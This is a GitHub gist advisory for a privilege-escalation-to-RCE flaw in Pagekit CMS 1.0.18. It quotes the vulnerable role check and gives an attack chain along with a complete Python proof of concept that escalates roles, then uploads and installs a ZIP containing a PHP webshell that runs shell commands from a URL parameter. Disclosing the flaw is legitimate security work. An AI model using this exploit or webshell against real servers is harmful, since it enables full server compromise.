Skip to content

Instantly share code, notes, and snippets.

@sermikr0
Created June 26, 2026 15:46
Show Gist options
  • Select an option

  • Save sermikr0/6f0a67e9d101746fcdb04827de137847 to your computer and use it in GitHub Desktop.

Select an option

Save sermikr0/6f0a67e9d101746fcdb04827de137847 to your computer and use it in GitHub Desktop.
CVE-2026-57518 — Pagekit CMS 1.0.18 Privilege Escalation to RCE

CVE-2026-57518 — Pagekit CMS 1.0.18 Privilege Escalation → RCE

CVE: CVE-2026-57518
Product: Pagekit CMS 1.0.18 (https://github.com/pagekit/pagekit)
CVSS 3.1: 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-269 Improper Privilege Management
Reporter: Saidakbarxon Maqsudxonov / saidakbarxonmaqsudxonov4@gmail.com
Date: 2026-06-26


Summary

UserApiController::saveAction() only checks for assignment of Role::ROLE_ADMINISTRATOR (hard-coded ID=3). Custom roles with elevated permissions (e.g., system: manage packages) can be freely assigned by any user holding user: manage users permission, enabling privilege escalation to Remote Code Execution via the package installer.


Root Cause

File: app/system/modules/user/src/Controller/UserApiController.php lines 178–188

$key    = array_search(Role::ROLE_ADMINISTRATOR, @$data['roles'] ?: []);
$add    = false !== $key && !$user->isAdministrator();
$remove = false === $key && $user->isAdministrator();

if (($self && $remove) || !App::user()->isAdministrator() && ($remove || $add)) {
    App::abort(403, 'Cannot add/remove Admin Role.');
}

$user->save($data); // saves ALL roles including unchecked custom ones

Role::ROLE_ADMINISTRATOR = 3 (hard-coded in Role.php).

Any role with ID ≠ 3 (custom roles: ID 4, 5, 6…) passes through without restriction.

Attack Chain

  1. Attacker has account with user: manage users permission
  2. Send POST /api/user/{attacker_id} with "roles": [2, 5] — role 5 is a custom role with system: manage packages
  3. Attacker now holds system: manage packages
  4. POST /admin/api/package/upload — upload malicious ZIP containing PHP webshell
  5. POST /admin/api/package/install — install package
  6. Access http://target/packages/malicious/index.php?cmd=id → RCE

Proof of Concept

import requests, re, zipfile, io

BASE = "https://target.com"
sess = requests.Session()

# 1. Login as low-priv user with "user: manage users"
r = sess.post(f"{BASE}/api/user/login",
    json={"username": "editor", "password": "password"})
csrf = re.search(r'"csrf"\s*:\s*"([^"]+)"', r.text).group(1)

# 2. Escalate to role ID=5 (has "system: manage packages")
my_id = sess.get(f"{BASE}/api/users/me").json()["id"]
sess.post(f"{BASE}/api/user/{my_id}",
    json={"user": {"id": my_id, "roles": [2, 5]}},
    headers={"X-CSRF-Token": csrf})

# 3. Upload malicious ZIP → RCE
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
    z.writestr("shell/index.php", '<?php system($_GET["cmd"]); ?>')
    z.writestr("shell/composer.json", '{"name":"shell","version":"1.0.0"}')
buf.seek(0)
sess.post(f"{BASE}/admin/api/package/upload?type=extension",
    files={"file": ("shell.zip", buf, "application/zip")},
    headers={"X-CSRF-Token": csrf})

print(f"RCE: {BASE}/packages/shell/index.php?cmd=id")

Impact

Full server compromise on any Pagekit installation that delegates user: manage users to non-owner accounts.

Mitigation

Project is unmaintained (last commit 2018, archived 2023). Restrict user: manage users to fully-trusted administrators only, or migrate to a maintained CMS.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment